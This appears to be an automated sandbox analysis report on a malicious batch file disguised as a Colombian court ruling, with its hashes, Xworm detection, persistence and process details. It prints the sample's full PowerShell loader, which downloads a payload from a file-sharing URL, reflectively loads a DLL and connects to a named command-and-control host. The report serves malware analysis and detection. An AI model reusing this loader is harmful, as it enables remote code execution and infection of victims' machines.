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Analysis
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max time kernel
143s -
max time network
136s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
14/11/2024, 16:30
Static task
static1
Behavioral task
behavioral1
Sample
FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat
Resource
win7-20240708-en
General
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Target
FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat
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Size
210KB
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MD5
24e3c5a8c5ce37efb76a08a124a2f525
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SHA1
1378fa68873d9ce2368aac281632ff5dab2f59d0
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SHA256
233bca3f0a5f3dbc98d3765ecc8631fd552366a78f052cc13c970b94a107e459
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SHA512
e9ae4a7948cefe01143e5646220f9b6d1c78b34db0ec4f2220d74daf8add209d5b55f76eb2fcf2b3d995cdeee957aebb3e0f9f736cced0ddba8ba249d18bcc62
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SSDEEP
6144:vZuSzJTZolPPaVOZwrXQJ5RV5RFVVjRbVbJlv8:B
Malware Config
Extracted
https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f
https://3105.filemail.com/api/file/get?filekey=mL2_TnIGKQqocB6zLvcvN68Tq_FpfC4Gh8VCgsz_iDhqU3UX_H_oxv3cUysOULpM&pk_vid=fd4f614bb209c62c1730851470a0904f
Signatures
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Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/4460-15-0x000002294A0E0000-0x000002294A474000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 1 IoCs
flow pid Process 7 4460 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4460 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat cmd.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\monographista.bat cmd.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4460 powershell.exe 4460 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4460 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1092 wrote to memory of 4460 1092 cmd.exe 84 PID 1092 wrote to memory of 4460 1092 cmd.exe 84
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FALLO ACCIÓN DE TUTELA 2023-250 JDO 02 CMES.bat"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:1092 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$base64Url = 'aHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1tTDJfVG5JR0tRcW9jQjZ6THZjdk42OFRxX0ZwZkM0R2g4VkNnc3pfaURocVUzVVhfSF9veHYzY1V5c09VTHBNJnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDg1MTQ3MGEwOTA0Zg=='; $url = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64Url)); $webClient = New-Object System.Net.WebClient; $imageBytes = $webClient.DownloadData($url); $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); $startIndex -ge 0 -and $endIndex -gt $startIndex; $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $dllBytes = [Convert]::FromBase64String($base64Command); $assembly = [System.Reflection.Assembly]::Load($dllBytes); [Stub.main]::Main('gabrielfuentes.chickenkiller.com', '1996');"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4460
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:2448
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82